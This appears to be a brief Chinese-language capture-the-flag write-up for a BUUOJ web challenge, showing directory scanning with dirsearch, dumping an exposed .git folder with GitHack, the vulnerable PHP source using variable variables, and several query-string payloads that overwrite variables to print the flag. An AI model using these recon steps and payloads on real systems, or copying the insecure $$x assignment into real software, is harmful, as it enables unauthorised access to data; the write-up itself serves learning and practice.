黑盒直接扫
dirsearch -u http://bba9a212-64d3-4a16-88b4-3605fe3ef749.node5.buuoj.cn:81/ -w /home/kali/Desktop/dirsearch/db/dicc.txt
我们用GitHack拿一下源码
没有的去下载一下,开源代码
cd GitHack
python GitHack.py http://bba9a212-64d3-4a16-88b4-3605fe3ef749.node5.buuoj.cn:81/.git/
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
//如果传入a=1那么就是赋值$a=1
foreach($_GET as $x => $y){
$$x = $$y;
}
/*如果传?a=1那么就是$a=$1;
利用这里来带出flag*/
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ 不强等于字符串直接写就可以不带引号的
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
看到exit那么我们想到变量覆盖
我们先随便写试试
?handsome=flag&flag='x'&x='flag'
由于动态赋值所以语法错误了,没成功
?handsome=flag&flag=a&a='flag'
还是有语法错误,但是出flag了
?handsome=flag&flag=a&a=flag
成功
还有其他的payload我一起写出来思路一样的
?is=flag&flag=flag
?yds=flag